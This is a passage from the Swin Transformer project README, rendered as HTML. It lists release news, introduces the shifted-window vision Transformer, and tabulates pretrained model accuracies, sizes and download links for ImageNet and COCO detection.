(FD)</a> approach, <strong>setting a new recrod</strong> on this benchmark. FD is an approach that can generally improve the fine-tuning performance of various pre-trained models, including DeiT, DINO, and CLIP. Particularly, it improves CLIP pre-trained ViT-L by +1.6% to reach <code>89.0%</code> on ImageNet-1K image classification, which is <strong>the most accurate ViT-L model</strong>.</li> <li>Merged a PR from <strong>Nvidia</strong> that links to faster Swin Transformer inference that have significant speed improvements on <code>T4 and A100 GPUs</code>.</li> <li>Merged a PR from <strong>Nvidia</strong> that enables an option to use <code>pure FP16 (Apex O2)</code> in training, while almost maintaining the accuracy.</li> </ol> <p><em><strong>06/03/2022</strong></em></p> <ol> <li>Added <strong>Swin-MoE</strong>, the Mixture-of-Experts variant of Swin Transformer implemented using <a href="https://github.com/microsoft/tutel">Tutel</a> (an optimized Mixture-of-Experts implementation). <strong>Swin-MoE</strong> is introduced in the <a href="https://arxiv.org/abs/2206.03382">TuTel</a> paper.</li> </ol> <p><em><strong>05/12/2022</strong></em></p> <ol> <li>Pretrained models of <a href="https://arxiv.org/abs/2111.09883">Swin Transformer V2</a> on ImageNet-1K and ImageNet-22K are released.</li> <li>ImageNet-22K pretrained models for Swin-V1-Tiny and Swin-V2-Small are released.</li> </ol> <p><em><strong>03/02/2022</strong></em></p> <ol> <li>Swin Transformer V2 and SimMIM got accepted by CVPR 2022. <a href="https://github.com/microsoft/SimMIM">SimMIM</a> is a self-supervised pre-training approach based on masked image modeling, a key technique that works out the 3-billion-parameter Swin V2 model using <code>40x less labelled data</code> than that of previous billion-scale models based on JFT-3B.</li> </ol> <p><em><strong>02/09/2022</strong></em></p> <ol> <li>Integrated into <a href="https://huggingface.co/spaces">Huggingface Spaces ๐Ÿค—</a> using <a href="https://github.com/gradio-app/gradio">Gradio</a>. Try out the Web Demo <a href="https://huggingface.co/spaces/akhaliq/Swin-Transformer"><img src="https://img.shields.io/badge/%F0%9F%A4%97%20Hugging%20Face-Spaces-blue" alt="Hugging Face Spaces"></a></li> </ol> <p><em><strong>10/12/2021</strong></em></p> <ol> <li>Swin Transformer received ICCV 2021 best paper award (Marr Prize).</li> </ol> <p><em><strong>08/09/2021</strong></em></p> <ol> <li><a href="https://arxiv.org/pdf/2106.09018v2.pdf">Soft Teacher</a> will appear at ICCV2021. The code will be released at <a href="https://github.com/microsoft/SoftTeacher">GitHub Repo</a>. <code>Soft Teacher</code> is an end-to-end semi-supervisd object detection method, achieving a new record on the COCO test-dev: <code>61.3 box AP</code> and <code>53.0 mask AP</code>.</li> </ol> <p><em><strong>07/03/2021</strong></em></p> <ol> <li>Add <strong>Swin MLP</strong>, which is an adaption of <code>Swin Transformer</code> by replacing all multi-head self-attention (MHSA) blocks by MLP layers (more precisely it is a group linear layer). The shifted window configuration can also significantly improve the performance of vanilla MLP architectures.</li> </ol> <p><em><strong>06/25/2021</strong></em></p> <ol> <li><a href="https://arxiv.org/abs/2106.13230">Video Swin Transformer</a> is released at <a href="https://github.com/SwinTransformer/Video-Swin-Transformer">Video-Swin-Transformer</a>. <code>Video Swin Transformer</code> achieves state-of-the-art accuracy on a broad range of video recognition benchmarks, including action recognition (<code>84.9</code> top-1 accuracy on Kinetics-400 and <code>86.1</code> top-1 accuracy on Kinetics-600 with <code>~20x</code> less pre-training data and <code>~3x</code> smaller model size) and temporal modeling (<code>69.6</code> top-1 accuracy on Something-Something v2).</li> </ol> <p><em><strong>05/12/2021</strong></em></p> <ol> <li>Used as a backbone for <code>Self-Supervised Learning</code>: <a href="https://github.com/SwinTransformer/Transformer-SSL">Transformer-SSL</a></li> </ol> <p>Using Swin-Transformer as the backbone for self-supervised learning enables us to evaluate the transferring performance of the learnt representations on down-stream tasks, which is missing in previous works due to the use of ViT/DeiT, which has not been well tamed for down-stream tasks.</p> <p><em><strong>04/12/2021</strong></em></p> <p>Initial commits:</p> <ol> <li>Pretrained models on ImageNet-1K (<a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.0/swin_tiny_patch4_window7_224.pth">Swin-T-IN1K</a>, <a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.0/swin_small_patch4_window7_224.pth">Swin-S-IN1K</a>, <a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.0/swin_base_patch4_window7_224.pth">Swin-B-IN1K</a>) and ImageNet-22K (<a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.0/swin_base_patch4_window7_224_22k.pth">Swin-B-IN22K</a>, <a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.0/swin_large_patch4_window7_224_22k.pth">Swin-L-IN22K</a>) are provided.</li> <li>The supported code and models for ImageNet-1K image classification, COCO object detection and ADE20K semantic segmentation are provided.</li> <li>The cuda kernel implementation for the <a href="https://arxiv.org/pdf/1904.11491.pdf">local relation layer</a> is provided in branch <a href="https://github.com/microsoft/Swin-Transformer/tree/LR-Net">LR-Net</a>.</li> </ol> <h2>Introduction</h2> <p><strong>Swin Transformer</strong> (the name <code>Swin</code> stands for <strong>S</strong>hifted <strong>win</strong>dow) is initially described in <a href="https://arxiv.org/abs/2103.14030">arxiv</a>, which capably serves as a general-purpose backbone for computer vision. It is basically a hierarchical Transformer whose representation is computed with shifted windows. The shifted windowing scheme brings greater efficiency by limiting self-attention computation to non-overlapping local windows while also allowing for cross-window connection.</p> <p>Swin Transformer achieves strong performance on COCO object detection (<code>58.7 box AP</code> and <code>51.1 mask AP</code> on test-dev) and ADE20K semantic segmentation (<code>53.5 mIoU</code> on val), surpassing previous models by a large margin.</p> <p><img src="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/figures/teaser.png" alt="teaser"></p> <h2>Main Results on ImageNet with Pretrained Models</h2> <p><strong>ImageNet-1K and ImageNet-22K Pretrained Swin-V1 Models</strong></p> <table> <thead> <tr> <th align="center">name</th> <th align="center">pretrain</th> <th align="center">resolution</th> <th align="center">acc@1</th> <th align="center">acc@5</th> <th align="center">#params</th> <th align="center">FLOPs</th> <th align="center">FPS</th> <th align="center">22K model</th> <th align="center">1K model</th> </tr> </thead> <tbody> <tr> <td align="center">Swin-T</td> <td align="center">ImageNet-1K</td> <td align="center">224x224</td> <td align="center">81.2</td> <td align="center">95.5</td> <td align="center">28M</td> <td align="center">4.5G</td> <td align="center">755</td> <td align="center">-</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.0/swin_tiny_patch4_window7_224.pth">github</a>/<a href="https://pan.baidu.com/s/156nWJy4Q28rDlrX-rRbI3w">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_tiny_patch4_window7_224.yaml">config</a>/<a href="https://github.com/SwinTransformer/storage/files/7745562/log_swin_tiny_patch4_window7_224.txt">log</a></td> </tr> <tr> <td align="center">Swin-S</td> <td align="center">ImageNet-1K</td> <td align="center">224x224</td> <td align="center">83.2</td> <td align="center">96.2</td> <td align="center">50M</td> <td align="center">8.7G</td> <td align="center">437</td> <td align="center">-</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.0/swin_small_patch4_window7_224.pth">github</a>/<a href="https://pan.baidu.com/s/1KFjpj3Efey3LmtE1QqPeQg">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_small_patch4_window7_224.yaml">config</a>/<a href="https://github.com/SwinTransformer/storage/files/7745563/log_swin_small_patch4_window7_224.txt">log</a></td> </tr> <tr> <td align="center">Swin-B</td> <td align="center">ImageNet-1K</td> <td align="center">224x224</td> <td align="center">83.5</td> <td align="center">96.5</td> <td align="center">88M</td> <td align="center">15.4G</td> <td align="center">278</td> <td align="center">-</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.0/swin_base_patch4_window7_224.pth">github</a>/<a href="https://pan.baidu.com/s/16bqCTEc70nC_isSsgBSaqQ">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_base_patch4_window7_224.yaml">config</a>/<a href="https://github.com/SwinTransformer/storage/files/7745564/log_swin_base_patch4_window7_224.txt">log</a></td> </tr> <tr> <td align="center">Swin-B</td> <td align="center">ImageNet-1K</td> <td align="center">384x384</td> <td align="center">84.5</td> <td align="center">97.0</td> <td align="center">88M</td> <td align="center">47.1G</td> <td align="center">85</td> <td align="center">-</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.0/swin_base_patch4_window12_384.pth">github</a>/<a href="https://pan.baidu.com/s/1xT1cu740-ejW7htUdVLnmw">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_base_patch4_window12_384_finetune.yaml">config</a></td> </tr> <tr> <td align="center">Swin-T</td> <td align="center">ImageNet-22K</td> <td align="center">224x224</td> <td align="center">80.9</td> <td align="center">96.0</td> <td align="center">28M</td> <td align="center">4.5G</td> <td align="center">755</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.8/swin_tiny_patch4_window7_224_22k.pth">github</a>/<a href="https://pan.baidu.com/s/1vct0VYwwQQ8PYkBjwSSBZQ?pwd=swin">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_tiny_patch4_window7_224_22k.yaml">config</a></td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.8/swin_tiny_patch4_window7_224_22kto1k_finetune.pth">github</a>/<a href="https://pan.baidu.com/s/1K0OO-nGZDPkR8fm_r83e8Q?pwd=swin">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_tiny_patch4_window7_224_22kto1k_finetune.yaml">config</a></td> </tr> <tr> <td align="center">Swin-S</td> <td align="center">ImageNet-22K</td> <td align="center">224x224</td> <td align="center">83.2</td> <td align="center">97.0</td> <td align="center">50M</td> <td align="center">8.7G</td> <td align="center">437</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.8/swin_small_patch4_window7_224_22k.pth">github</a>/<a href="https://pan.baidu.com/s/11NC1xdT5BAGBgazdTme5Sg?pwd=swin">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_small_patch4_window7_224_22k.yaml">config</a></td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.8/swin_small_patch4_window7_224_22kto1k_finetune.pth">github</a>/<a href="https://pan.baidu.com/s/10RFVfjQJhwPfeHrmxQUaLw?pwd=swin">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_small_patch4_window7_224_22kto1k_finetune.yaml">config</a></td> </tr> <tr> <td align="center">Swin-B</td> <td align="center">ImageNet-22K</td> <td align="center">224x224</td> <td align="center">85.2</td> <td align="center">97.5</td> <td align="center">88M</td> <td align="center">15.4G</td> <td align="center">278</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.0/swin_base_patch4_window7_224_22k.pth">github</a>/<a href="https://pan.baidu.com/s/1y1Ec3UlrKSI8IMtEs-oBXA">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_base_patch4_window7_224_22k.yaml">config</a></td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.0/swin_base_patch4_window7_224_22kto1k.pth">github</a>/<a href="https://pan.baidu.com/s/1n_wNkcbRxVXit8r_KrfAVg">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_base_patch4_window7_224_22kto1k_finetune.yaml">config</a></td> </tr> <tr> <td align="center">Swin-B</td> <td align="center">ImageNet-22K</td> <td align="center">384x384</td> <td align="center">86.4</td> <td align="center">98.0</td> <td align="center">88M</td> <td align="center">47.1G</td> <td align="center">85</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.0/swin_base_patch4_window12_384_22k.pth">github</a>/<a href="https://pan.baidu.com/s/1vwJxnJcVqcLZAw9HaqiR6g">baidu</a></td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.0/swin_base_patch4_window12_384_22kto1k.pth">github</a>/<a href="https://pan.baidu.com/s/1caKTSdoLJYoi4WBcnmWuWg">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_base_patch4_window12_384_22kto1k_finetune.yaml">config</a></td> </tr> <tr> <td align="center">Swin-L</td> <td align="center">ImageNet-22K</td> <td align="center">224x224</td> <td align="center">86.3</td> <td align="center">97.9</td> <td align="center">197M</td> <td align="center">34.5G</td> <td align="center">141</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.0/swin_large_patch4_window7_224_22k.pth">github</a>/<a href="https://pan.baidu.com/s/1pws3rOTFuOebBYP3h6Kx8w">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_large_patch4_window7_224_22k.yaml">config</a></td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.0/swin_large_patch4_window7_224_22kto1k.pth">github</a>/<a href="https://pan.baidu.com/s/1NkQApMWUhxBGjk1ne6VqBQ">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_large_patch4_window7_224_22kto1k_finetune.yaml">config</a></td> </tr> <tr> <td align="center">Swin-L</td> <td align="center">ImageNet-22K</td> <td align="center">384x384</td> <td align="center">87.3</td> <td align="center">98.2</td> <td align="center">197M</td> <td align="center">103.9G</td> <td align="center">42</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.0/swin_large_patch4_window12_384_22k.pth">github</a>/<a href="https://pan.baidu.com/s/1sl7o_bJA143OD7UqSLAMoA">baidu</a></td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.0/swin_large_patch4_window12_384_22kto1k.pth">github</a>/<a href="https://pan.baidu.com/s/1X0FLHQyPOC6Kmv2CmgxJvA">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_large_patch4_window12_384_22kto1k_finetune.yaml">config</a></td> </tr> </tbody> </table> <p><strong>ImageNet-1K and ImageNet-22K Pretrained Swin-V2 Models</strong></p> <table> <thead> <tr> <th align="center">name</th> <th align="center">pretrain</th> <th align="center">resolution</th> <th align="center">window</th> <th align="center">acc@1</th> <th align="center">acc@5</th> <th align="center">#params</th> <th align="center">FLOPs</th> <th align="center">FPS</th> <th align="center">22K model</th> <th align="center">1K model</th> </tr> </thead> <tbody> <tr> <td align="center">SwinV2-T</td> <td align="center">ImageNet-1K</td> <td align="center">256x256</td> <td align="center">8x8</td> <td align="center">81.8</td> <td align="center">95.9</td> <td align="center">28M</td> <td align="center">5.9G</td> <td align="center">572</td> <td align="center">-</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v2.0.0/swinv2_tiny_patch4_window8_256.pth">github</a>/<a href="https://pan.baidu.com/s/1RzLkAH_5OtfRCJe6Vlg6rg?pwd=swin">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swinv2/swinv2_tiny_patch4_window8_256.yaml">config</a></td> </tr> <tr> <td align="center">SwinV2-S</td> <td align="center">ImageNet-1K</td> <td align="center">256x256</td> <td align="center">8x8</td> <td align="center">83.7</td> <td align="center">96.6</td> <td align="center">50M</td> <td align="center">11.5G</td> <td align="center">327</td> <td align="center">-</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v2.0.0/swinv2_small_patch4_window8_256.pth">github</a>/<a href="https://pan.baidu.com/s/195PdA41szEduW3jEtRSa4Q?pwd=swin">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swinv2/swinv2_small_patch4_window8_256.yaml">config</a></td> </tr> <tr> <td align="center">SwinV2-B</td> <td align="center">ImageNet-1K</td> <td align="center">256x256</td> <td align="center">8x8</td> <td align="center">84.2</td> <td align="center">96.9</td> <td align="center">88M</td> <td align="center">20.3G</td> <td align="center">217</td> <td align="center">-</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v2.0.0/swinv2_base_patch4_window8_256.pth">github</a>/<a href="https://pan.baidu.com/s/18AfMSz3dPyzIvP1dKuERvQ?pwd=swin">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swinv2/swinv2_base_patch4_window8_256.yaml">config</a></td> </tr> <tr> <td align="center">SwinV2-T</td> <td align="center">ImageNet-1K</td> <td align="center">256x256</td> <td align="center">16x16</td> <td align="center">82.8</td> <td align="center">96.2</td> <td align="center">28M</td> <td align="center">6.6G</td> <td align="center">437</td> <td align="center">-</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v2.0.0/swinv2_tiny_patch4_window16_256.pth">github</a>/<a href="https://pan.baidu.com/s/1dyK3cK9Xipmv6RnTtrPocw?pwd=swin">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swinv2/swinv2_tiny_patch4_window16_256.yaml">config</a></td> </tr> <tr> <td align="center">SwinV2-S</td> <td align="center">ImageNet-1K</td> <td align="center">256x256</td> <td align="center">16x16</td> <td align="center">84.1</td> <td align="center">96.8</td> <td align="center">50M</td> <td align="center">12.6G</td> <td align="center">257</td> <td align="center">-</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v2.0.0/swinv2_small_patch4_window16_256.pth">github</a>/<a href="https://pan.baidu.com/s/1ZIPiSfWNKTPp821Ka-Mifw?pwd=swin">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swinv2/swinv2_small_patch4_window16_256.yaml">config</a></td> </tr> <tr> <td align="center">SwinV2-B</td> <td align="center">ImageNet-1K</td> <td align="center">256x256</td> <td align="center">16x16</td> <td align="center">84.6</td> <td align="center">97.0</td> <td align="center">88M</td> <td align="center">21.8G</td> <td align="center">174</td> <td align="center">-</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v2.0.0/swinv2_base_patch4_window16_256.pth">github</a>/<a href="https://pan.baidu.com/s/1dlDQGn8BXCmnh7wQSM5Nhw?pwd=swin">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swinv2/swinv2_base_patch4_window16_256.yaml">config</a></td> </tr> <tr> <td align="center">SwinV2-B<sup>*</sup></td> <td align="center">ImageNet-22K</td> <td align="center">256x256</td> <td align="center">16x16</td> <td align="center">86.2</td> <td align="center">97.9</td> <td align="center">88M</td> <td align="center">21.8G</td> <td align="center">174</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v2.0.0/swinv2_base_patch4_window12_192_22k.pth">github</a>/<a href="https://pan.baidu.com/s/1Xc2rsSsRQz_sy5mjgfxrMQ?pwd=swin">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swinv2/swinv2_base_patch4_window12_192_22k.yaml">config</a></td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v2.0.0/swinv2_base_patch4_window12to16_192to256_22kto1k_ft.pth">github</a>/<a href="https://pan.baidu.com/s/1sgstld4MgGsZxhUAW7MlmQ?pwd=swin">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swinv2/swinv2_base_patch4_window12to16_192to256_22kto1k_ft.yaml">config</a></td> </tr> <tr> <td align="center">SwinV2-B<sup>*</sup></td> <td align="center">ImageNet-22K</td> <td align="center">384x384</td> <td align="center">24x24</td> <td align="center">87.1</td> <td align="center">98.2</td> <td align="center">88M</td> <td align="center">54.7G</td> <td align="center">57</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v2.0.0/swinv2_base_patch4_window12_192_22k.pth">github</a>/<a href="https://pan.baidu.com/s/1Xc2rsSsRQz_sy5mjgfxrMQ?pwd=swin">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swinv2/swinv2_base_patch4_window12_192_22k.yaml">config</a></td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v2.0.0/swinv2_base_patch4_window12to24_192to384_22kto1k_ft.pth">github</a>/<a href="https://pan.baidu.com/s/17u3sEQaUYlvfL195rrORzQ?pwd=swin">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swinv2/swinv2_base_patch4_window12to24_192to384_22kto1k_ft.yaml">config</a></td> </tr> <tr> <td align="center">SwinV2-L<sup>*</sup></td> <td align="center">ImageNet-22K</td> <td align="center">256x256</td> <td align="center">16x16</td> <td align="center">86.9</td> <td align="center">98.0</td> <td align="center">197M</td> <td align="center">47.5G</td> <td align="center">95</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v2.0.0/swinv2_large_patch4_window12_192_22k.pth">github</a>/<a href="https://pan.baidu.com/s/11PhCV7qAGXtZ8dXNgyiGOw?pwd=swin">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swinv2/swinv2_large_patch4_window12_192_22k.yaml">config</a></td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v2.0.0/swinv2_large_patch4_window12to16_192to256_22kto1k_ft.pth">github</a>/<a href="https://pan.baidu.com/s/1pqp31N80qIWjFPbudzB6Bw?pwd=swin">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swinv2/swinv2_large_patch4_window12to16_192to256_22kto1k_ft.yaml">config</a></td> </tr> <tr> <td align="center">SwinV2-L<sup>*</sup></td> <td align="center">ImageNet-22K</td> <td align="center">384x384</td> <td align="center">24x24</td> <td align="center">87.6</td> <td align="center">98.3</td> <td align="center">197M</td> <td align="center">115.4G</td> <td align="center">33</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v2.0.0/swinv2_large_patch4_window12_192_22k.pth">github</a>/<a href="https://pan.baidu.com/s/11PhCV7qAGXtZ8dXNgyiGOw?pwd=swin">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swinv2/swinv2_large_patch4_window12_192_22k.yaml">config</a></td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v2.0.0/swinv2_large_patch4_window12to24_192to384_22kto1k_ft.pth">github</a>/<a href="https://pan.baidu.com/s/13URdNkygr3Xn0N3e6IwjgA?pwd=swin">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swinv2/swinv2_large_patch4_window12to24_192to384_22kto1k_ft.yaml">config</a></td> </tr> </tbody> </table> <p>Note:</p> <ul> <li>SwinV2-B<sup>*</sup> (SwinV2-L<sup>*</sup>) with input resolution of 256x256 and 384x384 both fine-tuned from the same pre-training model using a smaller input resolution of 192x192.</li> <li>SwinV2-B<sup>*</sup> (384x384) achieves 78.08 acc@1 on ImageNet-1K-V2 while SwinV2-L<sup>*</sup> (384x384) achieves 78.31.</li> </ul> <p><strong>ImageNet-1K Pretrained Swin MLP Models</strong></p> <table> <thead> <tr> <th align="center">name</th> <th align="center">pretrain</th> <th align="center">resolution</th> <th align="center">acc@1</th> <th align="center">acc@5</th> <th align="center">#params</th> <th align="center">FLOPs</th> <th align="center">FPS</th> <th align="center">1K model</th> </tr> </thead> <tbody> <tr> <td align="center"><a href="https://arxiv.org/pdf/2105.01601.pdf">Mixer-B/16</a></td> <td align="center">ImageNet-1K</td> <td align="center">224x224</td> <td align="center">76.4</td> <td align="center">-</td> <td align="center">59M</td> <td align="center">12.7G</td> <td align="center">-</td> <td align="center"><a href="https://github.com/google-research/vision_transformer">official repo</a></td> </tr> <tr> <td align="center"><a href="https://arxiv.org/abs/2105.03404">ResMLP-S24</a></td> <td align="center">ImageNet-1K</td> <td align="center">224x224</td> <td align="center">79.4</td> <td align="center">-</td> <td align="center">30M</td> <td align="center">6.0G</td> <td align="center">715</td> <td align="center"><a href="https://github.com/rwightman/pytorch-image-models">timm</a></td> </tr> <tr> <td align="center"><a href="https://arxiv.org/abs/2105.03404">ResMLP-B24</a></td> <td align="center">ImageNet-1K</td> <td align="center">224x224</td> <td align="center">81.0</td> <td align="center">-</td> <td align="center">116M</td> <td align="center">23.0G</td> <td align="center">231</td> <td align="center"><a href="https://github.com/rwightman/pytorch-image-models">timm</a></td> </tr> <tr> <td align="center">Swin-T/C24</td> <td align="center">ImageNet-1K</td> <td align="center">256x256</td> <td align="center">81.6</td> <td align="center">95.7</td> <td align="center">28M</td> <td align="center">5.9G</td> <td align="center">563</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.5/swin_tiny_c24_patch4_window8_256.pth">github</a>/<a href="https://pan.baidu.com/s/17k-7l6Sxt7uZ7IV0f26GNQ">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_tiny_c24_patch4_window8_256.yaml">config</a></td> </tr> <tr> <td align="center">SwinMLP-T/C24</td> <td align="center">ImageNet-1K</td> <td align="center">256x256</td> <td align="center">79.4</td> <td align="center">94.6</td> <td align="center">20M</td> <td align="center">4.0G</td> <td align="center">807</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.5/swin_mlp_tiny_c24_patch4_window8_256.pth">github</a>/<a href="https://pan.baidu.com/s/1Sa4vP5R0M2RjfIe9HIga-Q">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_mlp_tiny_c24_patch4_window8_256.yaml">config</a></td> </tr> <tr> <td align="center">SwinMLP-T/C12</td> <td align="center">ImageNet-1K</td> <td align="center">256x256</td> <td align="center">79.6</td> <td align="center">94.7</td> <td align="center">21M</td> <td align="center">4.0G</td> <td align="center">792</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.5/swin_mlp_tiny_c12_patch4_window8_256.pth">github</a>/<a href="https://pan.baidu.com/s/1mM9J2_DEVZHUB5ASIpFl0w">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_mlp_tiny_c12_patch4_window8_256.yaml">config</a></td> </tr> <tr> <td align="center">SwinMLP-T/C6</td> <td align="center">ImageNet-1K</td> <td align="center">256x256</td> <td align="center">79.7</td> <td align="center">94.9</td> <td align="center">23M</td> <td align="center">4.0G</td> <td align="center">766</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.5/swin_mlp_tiny_c6_patch4_window8_256.pth">github</a>/<a href="https://pan.baidu.com/s/1hUTYVT2W1CsjICw-3W-Vjg">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_mlp_tiny_c6_patch4_window8_256.yaml">config</a></td> </tr> <tr> <td align="center">SwinMLP-B</td> <td align="center">ImageNet-1K</td> <td align="center">224x224</td> <td align="center">81.3</td> <td align="center">95.3</td> <td align="center">61M</td> <td align="center">10.4G</td> <td align="center">409</td> <td align="center"><a href="https://github.com/SwinTransformer/storage/releases/download/v1.0.5/swin_mlp_base_patch4_window7_224.pth">github</a>/<a href="https://pan.baidu.com/s/1zww3dnbX3GxNiGfb-GwyUg">baidu</a>/<a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/configs/swin/swin_mlp_base_patch4_window7_224.yaml">config</a></td> </tr> </tbody> </table> <p>Note: access code for <code>baidu</code> is <code>swin</code>. C24 means each head has 24 channels.</p> <p><strong>ImageNet-22K Pretrained Swin-MoE Models</strong></p> <ul> <li>Please refer to <a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/get_started.md#mixture-of-experts-support">get_started</a> for instructions on running Swin-MoE.</li> <li>Pretrained models for Swin-MoE can be found in <a href="https://raw.githubusercontent.com/microsoft/Swin-Transformer/main/MODELHUB.md#imagenet-22k-pretrained-swin-moe-models">MODEL HUB</a></li> </ul> <h2>Main Results on Downstream Tasks</h2> <p><strong>COCO Object Detection (2017 val)</strong></p> <table> <thead> <tr> <th align="center">Backbone</th> <th align="center">Method</th> <th align="center">pretrain</th> <th align="center">Lr Schd</th> <th align="center">box mAP</th> <th align="center">mask mAP</th> <th align="center">#params</th> <th align="center">FLOPs</th> </tr> </thead> <tbody> <tr> <td align="center">Swin-T</td> <td align="center">Mask R-CNN</td> <td align="center">ImageNet-1K</td> <td align="center">3x</td> <td align="center">46.0</td> <td align="center">41.6</td> <td align="center">48M</td> <td align="center">267G</td> </tr> <tr> <td align="center">Swin-S</td> <td align="center">Mask R-CNN</td> <td align="center">ImageNet-1K</td> <td align="center">3x</td> <td align="center">48.5</td> <td align="center">43.3</td> <td align="center">69M</td> <td align="center">359G</td> </tr> <tr> <td align="center">Swin-T</td> <td align="center">Cascade Mask R-CNN</td> <td align="center">ImageNet-1K</td> <td align="center">3x</td> <td align="center">50.4</td> <td align="center">43.7</td> <td align="center">86M</td> <td align="center">745G</td> </tr> <tr> <td align="center">Swin-S</td> <td align="center">Cascade Mask R-CNN</td> <td align="center">ImageNet-1K</td> <td align="center">3x</td> <td align="center">51.9</td> <td align="center">45.0</td> <td align="center">107M</td> <td align="center">838G</td> </tr> <tr> <td align="center">Swin-B</td> <td align="center">Cascade Mask R-CNN</td> <td align="center">ImageNet-1K</td> <td align="center">3x</td> <td align="center">51.9</td> <td align="center">45.0</td> <td align="center">145M</td> <td align="center">982G</td> </tr> <tr> <td align="center">Swin-T</td> <td align="center">RepPoints V2</td> <td align="center">ImageNet-1K</td> <td align="center">3x</td> <td align="center">50.0</td> <td align="center">-</td> <td align="center">45M</td> <td align="center">283G</td> </tr> <tr> <td align="center">Swin-T</td> <td align="center">Mask RepPoints V2</td> <td align="center">ImageNet-1K</td> <td align="center">3x</td> <td align="center">50.3</td> <td align="center">43.6</td> <td 